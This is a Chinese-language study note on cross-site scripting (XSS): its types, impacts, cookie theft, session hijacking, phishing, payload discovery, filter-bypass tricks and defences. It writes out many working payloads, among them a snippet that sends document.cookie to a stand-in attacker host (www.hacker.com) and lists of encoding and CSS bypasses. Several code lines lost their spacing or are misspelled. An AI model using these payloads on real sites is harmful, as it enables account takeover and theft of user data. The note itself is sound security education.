本文作者:Yunen
此篇系本人兩周來學習 XSS 的一份個人總結,實質上應該是一份筆記,方便自己日後重新回來複習,文中涉及到的文章我都會在末尾儘可能地添加上,此次總結是我在學習過程中所寫,如有任何錯誤,敬請各位讀者斧正。其中有許多內容屬於相關書籍、文章的部分摘取,如有侵權,請聯繫我修改。(asp-php#foxmail.com)
1) 什麼是 XSS?XSS (Cross-Site Script, 跨站腳本)是由於 web 應用程式對用戶的輸入過濾不足而產生的一種漏洞。攻擊者可以利用網站漏洞把惡意的腳本代碼注入到網頁之中,當其他用戶瀏覽這些帶有惡意代碼的網頁時就會執行其中的惡意代碼,對受害者產生各種攻擊。
如果對以上描述還不是很了解的話,可以參考百度百科
在餘弦大大和xisigr大大的書籍《Web 前端安全技術揭秘》第三章中這樣說道:
跨站腳本的重點不在「跨站」上,而應該在「腳本」上...因為這個「跨」實際上屬於瀏覽器的特性,而不是缺陷,造成「跨」的假象是因為絕大多數的 XSS 攻擊都會採用嵌入一段遠程或者說第三方域上的腳本資源。
確實,當攻擊者的伺服器上的 js 嵌入到受害者的頁面,至於接下來的攻擊就是關於「腳本」的事了。
2) XSS 可以帶來哪些危害?對於 XSS 攻擊的危害,大多數的人們卻沒有正確的認識,實際上攻擊者可以利用 XSS 攻擊造成巨大的危害。比如:
網頁掛馬;
盜取 Cookie;
DoS 攻擊;
釣魚攻擊;
蠕蟲攻擊;
劫持用戶 web 行為;
結合 CSRF 進行針對性攻擊;
······
這些都是可以利用 XSS 漏洞來達成的。
3) XSS 類型目前的 XSS 總共可以分為三種類型:
反射型(也叫非持久型)
存儲型(也叫持久型)
DOM 型
PS:前兩種 XSS 都會與伺服器產生交互,後一種不會產生交互。(某安全大佬面試)
反射型 XSS反射型 XSS,也稱非持久型 XSS,最常見也是使用最廣的一種。在反射型 XSS 中,payload 一般存在於網頁的 Url中,只用戶單擊時觸發,只執行一次,非持久化,故稱反射型 XSS。攻擊者發送惡意 Url 連結讓受害者點擊(一般會對 payload 部分進行處理,如:編碼轉換和短域名跳轉)
由於篇幅問題,關於反射型 XSS 我就不做過多簡述。
有的人認為反射型 XSS 需要用戶已經登陸的情況下才能利用,其實不然。我們可以通過反射型 xss 讓瀏覽器遠程嵌入我們的 js 文件,然後配合瀏覽器漏洞進行 RCE 攻擊。這裡給出個相近的例子:
《記一次從DOM型XSS到RCE過程》:
https://xz.aliyun.com/t/3919
存儲型 XSS存儲型 XSS,也稱持久型 XSS,攻擊者首先將惡意 javascript 代碼上傳或存儲到漏洞伺服器中,只要受害者瀏覽包含此惡意 javascript 頁面就會執行惡意代碼,不需要用戶點擊特定 Url 就能執行,故存儲型 XSS 比反射型 XSS 更具威脅性。--- 《XSS跨站腳本攻擊剖析與防禦》
存儲型 XSS 與反射型 XSS 最大的區別就在於提交的 XSS 代碼會儲存於服務端,下次再訪問目標頁面時不用再提交 XSS 代碼。---《Web前端黑客技術揭秘》
DOM 型 XSS許多朋友對反射型 XSS 和存儲型 XSS 都比較清楚,可是卻不太了解什麼是 DOM 型 XSS,沒關係,看完這裡你就應該會對 DOM 型 XSS 有個大概認識 DOM, 即 Document Object Model(文件對象模型)的縮寫,關於 DOM 的概念想了解的朋友可以在百度百科得到相應的解答。
DOM 型 XSS 是如何產生的?我們知道,客戶端 javascipt 是可以訪問瀏覽器的 DOM 文本對象模型,如果沒有經過適當的過濾和消毒,那麼應用程式可能會受到基於 DOM 的 XSS 攻擊。
在刺的《白帽子講 Web 安全》是這樣講的:
通過修改頁面的 DOM 節點形成的 XSS,稱之為 DOM Based XSS,也就是 DOM 型 XSS。
舉個簡單的例子(來自《Web 前端黑客技術揭秘》):
<html>
...
<script>
vara=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
...
</html>把以上代碼保存為 1.html, 然後打開瀏覽器訪問http://127.0.0.1/1.html#a=test 我們知道這是個靜態頁面,而且#後邊的內容並不會傳給伺服器。
可是這樣就不會產生XSS漏洞了嗎?如果我們訪問http://127.0.0.1/.html#a=<script>alert(/xss/)</script> 當我們訪問上述 url 時,伺服器會返回原始碼,我們可以用抓包工具截取,發現與正常訪問的頁面無差別,可是當瀏覽器收到原始碼時便把 HTML 文本解析成 DOM 對象並執行,結果彈出 /xss/ 消息框,感興趣的朋友可以試試。 具體執行過程如圖:
4) XSS 的利用方式前面我們介紹了各種 XSS 的特點及產生方式,現在我們來說說如何利用這些漏洞。
Cookie 竊取Cookie 盜取是 xss 攻擊中最實用也是最廣泛的一種利用方式之一。我們知道 Cookie 是 Web 系統識別用戶的身份和保存會話狀態的主要機制,且是由伺服器提供的、存儲在客戶端的一種數據。同時,對於 cookie 的操作十分的方便,我們可以通過 Document 對象訪問 Cookie。如:<script>alert(document.cookie)</script>會彈出當前頁面的 cookie 信息。*
這裡我們引入一個叫做「同源策略」的概念:
首先,同「源」的源不單單是指兩個頁面的主域名,還包括這兩個域名的協議、埠號和子級域名相同。舉個例子,假設我現在有一個頁面http://www.a.com/index.html,域名是 www.a.com,二級域名為 www,協議是 http,埠號是默認的 80,這個頁面的同源情況如下: 同源策略存在的意義就是為了保護用戶的信息的安全。一般網站都會把關於用戶的一些敏感信息存在瀏覽器的 cookie 當中試想一下,如果沒有同源策略的保護,那麼 b 頁面也可以隨意讀取 a 頁面存儲在用戶瀏覽器 cookie 中的敏感信息,就會造成信息洩露。如果用戶的登錄狀態被惡意網站能夠隨意讀取,那後果不堪設想。由此可見,同源策略是非常必要的,可以說是瀏覽器安全的基石。 除了 cookie 的訪問受到同源策略的限制外,還有一些操作也同樣受到同源策略的限制:
(1) 無法讀取非同源網頁的 Cookie 、sessionStorage 、localStorage 、IndexedDB
(2) 無法讀寫非同源網頁的 DOM
(3) 無法向非同源地址發送 AJAX 請求(可以發送,但瀏覽器會拒絕響應而報錯)
————引自晚風表哥在信安之路上的投稿文章《同源策略與跨域請求》
我們知道 Cookie 有如下常見的屬性:
Domain————設置關聯 Cookie 的域名;
Expires————通過給定一個過期時間來創建一個持久化 Cookie;
Httponly————用於避免 Cookie 被 Javascript 訪問;
Name————Cookie 的名稱;
Path————關聯到 Cookie 的路徑,默認為 /;
Value————讀寫 Cookie 的值;
Secure————用於指定 Cookie 需要通過安全 Socket 層傳遞連接;
並且 Cookie 也可以安裝類型分為:
如何區分兩者很簡單,只要判斷 cookie 中的 expires 即過期時間屬性有沒有設置,如果設置了即為本地 cookie,反之為內存 cookie。
由於 Cookie 具有的不同屬性,我們可以將不同屬性的 Cookie 盜取方式分為以下幾種情況
默認默認情況,即不對 Cookie 的任何屬性進行指定就設置 Cookie 的情況。這種情況下 Cookie 的獲取最為簡單。可以通過下列方式獲取
<script>
newImage().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;
</script>不同域這是由於 domain 欄位的機制導致的。一個 Cookie 如果不知道 domain 的值,則默認為本域。
例如有兩個網站www.a.com和test.a.com且後者存在 xss 漏洞,按照同源策略,這兩個網站是不同源的,默認情況下我們無法直接從test.a.com獲取到www.a.com的 Cookie,可是如果www.a.com的 Cookie 值中的 domain 屬性設置為父級域即a.com,就可以通過test.a.com的 xss 漏洞獲取到www.a.com的 Cookie值。
不同路徑這是由於 path 欄位的機制導致的。在設置 Cookie 時,如果不指定 path 的值,默認就是目標頁面的路徑。比如在www.a.com/admin/index.php設置 cookie 值且不知道 path,那麼 path 默認為/admin/。javascript 可以指定任意路徑的 cookie,但是只有對於 path 值的目錄下才能讀取 Cookie, 即上述例子中只有/admin/目錄下的 javascipt 才能讀取前邊設置的 Cookie。
Http OnlyHttpOnly 是指僅在 Http 層面上傳輸的 Cookie,當設置了 HttpOnly 標誌後,客戶端腳本就無法讀取該 Cookie,這樣做能有效防禦 XSS 攻擊獲取 Cookie,也是目前防禦 XSS 的主流手段之一。不過利用某些特定方式也可以同樣讀取到標誌了 HttpOnly 的 Cookie。
感興趣的朋友可以查閱相關資料(《Web前端黑客技術揭秘》p36-39)
SecureSecure 是指設置了 Secure 的 Cookie 盡在 HTTPS 層面上進行安全傳輸,如果請求是 HTTP 的,則不會帶上改 Cookie,這樣做的好處是可以降低 Cookie 對中間人攻擊獲取的風險,不過對我們此處討論的 XSS 攻擊無攔截效果,可通過默認情況下獲取。
P3PHTTP 響應頭的 P3P 欄位可以用於標識是否允許目標網站的 Cookie 被另一域通過加載目標網站而設置或發送,據說僅 IE 支持(17年)。
我們來舉個例子,在 A 域通過 iframe 等方式加載 B 域(此時也稱 B 域為第三方域),如果我們想通過 B 域來設置 A 域的Cookie,或加載 B 域時帶上 B 域的 Cookie,這時就得涉及到 P3P。
B 域設置 A 域 Cookie在 IE 下默認是不允許第三方域設置的的,除非 A 域在響應頭帶上 P3P 欄位。當響應頭頭帶上 P3P 後,IE 下第三方域即可進行對 A 域 Cookie 的設置,且設置的 Cookie 會帶上 P3P 屬性,一次生效,即使之後沒有 P3P 頭也有效。
加載 B 域時 Cookie 傳入問題我們知道 Cookie 分為內存 Cookie 和本地 Cookie,當我們通過 A 域加載 B 域時,默認是帶內存 Cookie 加載(如果無內存 Cookie 則不帶),而如果想要帶本地 Cookie 加載,則本地 Cookie 必須帶 P3P 屬性。
會話劫持由於 Cookie 的不安全性,開發者們開始使用一些更為安全的認證方式——Session。 這裡引用《XSS 跨站腳本攻擊剖析與防禦》p51-52 頁的內容
Session 的中文意思是會話,其實就是訪問者從到達特定主頁到離開的那段時間,在這個過程中,每個訪問者都會得到一個單獨的 Session。Session 是給予訪問的進程,記錄了一個訪問的開始到結束,搭檔瀏覽器或進程關閉之後,Session 也就「消失」了。
在 Session 機制中,客戶端和服務端也有被其他人利用的可能。
Session 和 Cookie 最大的區別在於:Session 是保存在服務端的內存裡面,而 Cookie 保存於瀏覽器或客戶端文件裡面
這裡提到 Session 是因為我們在現實情況中可能會出現已經獲取到了 Cookie,但是由於用戶已經退出了瀏覽器指示 Session 無效,導致我們無法通過 Cookie 欺騙來獲取用戶權限;又比如有的網站設置了 HttpOnly,獲取不到 Cookie;再者有的網站將 Cookie 與客戶端 IP 向綁定;此時我們便可以利用會話劫持來達到目的。
會話劫持的實質就是模擬 GET/POST 請求(帶 Cookie)通過受害者瀏覽器發送給伺服器,我們可以通過下面的方式來完成。
var img=document.creatElement("img");
img.src="http://www.a.com/del.php?id=1";
document.body.appendChild(img);我們可以通過構造的 GET/POST 請求來實現如添加管理員、刪除文章、上傳文件等操作。XSS 蠕蟲從某種意義上來說也屬於會話劫持。
釣魚現在一般我們都可以很容易的防範釣魚網站,可是當釣魚網站與 XSS 漏洞結合呢?設想一下,如 mail.qq.com 的頁面存在 XSS 漏洞,攻擊者通過 iframe 替換了原來的頁面成釣魚頁面,並且網頁的 Url 還是原來的頁面,你是否能察覺出來?
XSS 重定向釣魚即從www.a.com通過 xss 漏洞跳轉到www.b.com的釣魚頁面上,整個過程變化明顯,受害者易察覺。
http://www.a.com/index.php?search=<script>document.location.href="http://www.b.com/index.php"</script>HTML 注入式釣魚通過 javascript 來修改頁面的 DOM 對象屬性,或在原頁面中添加新的 DOM 元素。前者相對於後者更隱蔽。
Iframe攻擊者通過 javascript 來添加一個新的<Iframe>標籤嵌入第三方域的內容(釣魚網頁),此時主頁面仍處於正常頁面下,具有極高的迷惑性。
5) XSS 漏洞的挖掘就目前而言,XSS 漏洞的挖掘主要分為白盒審計和黑盒 Fuzz 兩種。
白盒審計通過查看原始碼來判斷網站的交互點是否存在安全過濾。由於此處涉及代碼審計內容(其實就是懶),就細說,這裡直接引用書中總結的。
分析原始碼挖掘 XSS 的一般思路是:查找可能在頁面輸出的變量,檢驗它們是否受到控制,然後跟蹤這些變量的傳遞過程,分析它們是否被 htmlencode() 之類的函數過濾
黑盒 Fuzz這個可得好好說說了,畢竟我們在現實環境中挖掘 XSS 漏洞時黑盒的情況偏多。我們進行 XSS 黑盒測試時主要分為手工檢測和工具檢測。
手工檢測首先我們需要儘可能地找到目標的每個輸入輸出點並挨個嘗試;在進行嘗試的時候,我們應優先選擇特殊字符進行測試,如"<>&;/':等,如果連<>都未過濾/轉義,那麼該輸入點很可能存在 XSS 漏洞。
如果<>等標記符號都被過濾/轉義了,我們也可以使用標籤自身的屬性/事件(href,lowsrc,bgsound,backgroud,value,action,dynsrc 等)來觸發 XSS, 如<input name="xx" value=<?=$query?>>這裡的 $query 屬於動態內容,我們把他替換成惡意代碼,最終的代碼為<input name="xx" value=xss onmouseover=evil_script>。
一般來說,針對輸入框的黑盒測試可能存在反射型 XSS,也可能存在存儲型 XSS,還有可能是 DOM 型,針對 Url 參數的黑盒測試絕大多數隻存在反射型 XSS 或 DOM 型 XSS。
<img> 標籤:
利用方式1
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL"style='Xss:expression(alert(/xss));'
<!--CSS標記xss-->
<img STYLE="background-image:url(javascript:alert('XSS'))">
XSS利用方式2
<img src="x"onerror=alert(1)>
<img src="1"onerror=eval("alert('xss')")>
XSS利用方式3
<img src=1onmouseover=alert('xss')><a> 標籤:
標準格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa"onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href=""onclick=alert('xss')>aa</a>
利用方式3
<a href=""onclick=eval(alert('xss'))>aa</a>
利用方式4
<a href=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016>aa</a>input 標籤:
標準格式
<input name="name"value="">
利用方式1
<input value=""onclick=alert('xss')type="text">
利用方式2
<input name="name"value=""onmouseover=prompt('xss')bad="">
利用方式4
<input name="name"value=""><script>alert('xss')</script><form>標籤:
XSS利用方式1
<form action=javascript:alert('xss')method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=postaction=aa.asp?onmouseover=prompt('xss')>
<form method=postaction=aa.asp?onmouseover=alert('xss')>
<form action=1onmouseover=alert('xss')>
XSS利用方式3
<form method=postaction="data:text/html;base64,<script>alert('xss')</script>">
<form method=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe>標籤:
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000/><iframe>
XSS利用方式2
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa"onmouseover=alert('xss')/><iframe>
XSS利用方式3
<iframe src="javascript:prompt(`xss`)"></iframe><svg> 標籤:
<svg onload=alert(1)>——引自 wkend的文章《XSS小節》:
https://xz.aliyun.com/t/2936
工具檢測關於 XSS 的自動檢測軟體有許多,如 Burp 的 Scan 模塊,BruteXSS:
https://github.com/rajeshmajumdar/BruteXSS
等,這裡不做過多結束。
6) shellcode 的繞過繞過XSS-FilterXSS-Filter 是一段基於黑名單的過濾函數,大多數 CMS 都有這麼個函數,作用於用戶的每一個輸入點,用於過濾可能的惡意代碼。不過從某種意義上來說,基於黑名單的保護是一定不會是安全的,由於 XSS的多變性,幾乎不可能存在完全地過濾。
空格回車和 Tab對 XSS-Filter 而言,如果僅僅是將函數加入黑名單處理,那麼可以在函數名稱之中嘗試加入空格、回車、Tab 等鍵位符來進行繞過。這是由於在 javascript 中只會將;作為語句的終止符,當瀏覽器引擎解析 javascript 腳本時沒有匹配到;便會繼續處理,知道發現下個分號為止,而換行符並不是終止符。如下列代碼可繞過對關鍵字javascript|alert的過濾:
<img src=javasc
ript:aler
t(/xss/)>對標籤屬性值進行轉碼HTML 中屬性值支持 ASCII 碼形式,如
<img src="javascript:alert('xss');"> 替換成
<img src="javascript:alert('xss');">其中在 ASCII 表中 116 為t,58 為:。
也可以將,等插入 javascript 的頭部,還可以將 tab(	)|換行符(
)|回車鍵(
)插入到代碼中的任意位置。
Fuzz 標籤未過濾事件名如<img src=x onerror=alert(/xss/)>其中的 onerror 即為 IMG 標籤的一個事件,通常這樣的事件都是以on開頭,常見的有:
onResume
onReverse
onSeek
onSynchRestored
onURLFlip
onRepeat
onPause
onstop
onmouseover除此之外還有很多事件可以利用,這裡不再一一列舉。
使用 Css 繞過利用 Css 樣式表可以執行 javascript 的特性,如 Css 直接執行 javascript:
<div style="background-image:url(javascript:alert('xss'))">
<style>
body{background-image:url("javascript:alert('xss')");}
</style>css 中使用 expression 執行 javascript:
<div style="width: expression(alert('xss'))">
<img src="#"style="xss:expression(alert(/xss/))">
<style>
body{background-image:expression("alert('xss')");}
</style>在上述的兩個例子中,都用到了樣式表的 url 屬性來執行 XSS 代碼。
除了上述兩種,還可以利用 @import 直接執行 javascript 代碼
<style>
@import'javascript:alert("xss")';
</style>在現實環境下,HTML 頁面中的 Css 與 Javascript 的嵌入方式很相似,且 Css 也可以執行 javascript 代碼,故我們的 XSS 代碼也可以通過嵌入遠程惡意 css 文件來進行 XSS 攻擊。
擾亂規則大小寫變換;
利用 expression 執行跨站代碼的時候,可以構造不同的全形字符來擾亂過濾規則;
結合樣式表注釋字符 /**/,通過 css 執行 javascript
樣式標籤會過濾\和\0,可以構造如@i\mp\0\0ort 'jav\0asc\0rip\t:al\0er\t("x\0ss")'繞過
Css 關鍵字進行編碼處理,如<p style="xss:\0065xpression(alert(/xss/))">其中 65 為字母 e 進行 unicode 編碼後的數字部分
利用瀏覽器解析注釋的問題
利用字符編碼javascript 支持許多的編碼格式,如:
如果能將這些編碼格式運用進跨站攻擊,無意能大大加強 XSS 的威力
在IE下甚至支持 JScript Encode 加密後的代碼
拆分法如果一個網站規定了輸入的最大長度,但是 ShellCode 又太長,那麼久可以拆分成幾個部分,最後在組成起來。相關文章:《瘋狂的跨站之行》劍心(非原連結):
http://www.5ilog.com/cgi-bin/sys/link/view.aspx/7016111.htm
7) XSS 防禦說了那麼多,那我們該如何防禦這看似防不勝防的 XSS 攻擊呢?
輸入嚴格控制用戶可輸入的範圍,如手機號只能輸入數字且長度不能大於 11 位等,如需輸入某些敏感字符的情況下可對數據進行轉義處理,對於用戶數據的過濾儘可能地採用白名單而不是黑名單。
輸出減少不必要的輸出,在需要輸出的地方使用 HTML 編碼將敏感字符轉義為實體符,javascript 進行 DOM 操作時注意不要將已轉義的實體符再次解析成 DOM 對象。
其他設置 HttpOnly,開啟 WAF。
寫在最後感謝參考資料中各位分享技術的大牛,小弟才筆有限,僅僅介紹了 XSS 攻擊中的一部分,仍有一部分由於種種原因我沒有寫進來。比如整篇文章都是 Javascript,實際上在遇到 XSS 問題時我們還需考慮 VBscript、Actionscript 等等,還有許多優秀的案例由於篇幅問題無法寫上了,可能會導致部分讀者理解不全面,在這裡向大家說聲抱歉,我會在下面的參考中列出我參考的書籍與文章供各位讀者查看。XSS 的學習暫時放下了,下一站——SQL 注入,雖然對此有些淺顯的認知,但還是希望能系統的學一遍,可能會在下個月發出來,感興趣的讀者可以關注我的博客(www.0x002.com)。
參考資料書籍: 《Web前端黑客技術揭秘》
《XSS跨站腳本攻擊剖析與防禦》
《白帽子講Web安全》
《黑客攻防技術寶典Web實戰篇》第二版
文章:XSS小結:
https://xz.aliyun.com/t/2936
淺說 XSS 和 CSRF:
https://github.com/dwqs/blog/issues/68
Session攻擊手段(會話劫持/固定)及其安全防禦措施:
https://blog.csdn.net/h_mxc/article/details/50542038
附錄2017灰袍技能精華
https://github.com/ChrisLinn/greyhame-2017/blob/master/skills/web.md
BruteXSS
https://github.com/rajeshmajumdar/BruteXSS
Beef神器
https://github.com/beefproject/beef
用於檢查跨站點跟蹤的小型python腳本
https://github.com/1N3/XSSTracer
一個非常簡單的反射XSS掃描儀支持GET/POST
https://github.com/0x584A/fuzzXssPHP
反射xss掃描器
https://github.com/chuhades/xss_scan
瀏覽器的插件,它自動檢查頁面是否具有xss和漏洞
https://github.com/BlackHole1/autoFindXssAndCsrf
xss命令行工具用於測試web應用程式中xss負載列表
https://github.com/shogunlab/shuriken
用於XSS、WAF檢測和旁路的模糊和蠻力參數
https://github.com/UltimateHackers/XSStrike
一個完全功能的跨站點腳本漏洞掃描器,支持獲取和發布參數,並寫入100行代碼
https://github.com/stamparm/DSXS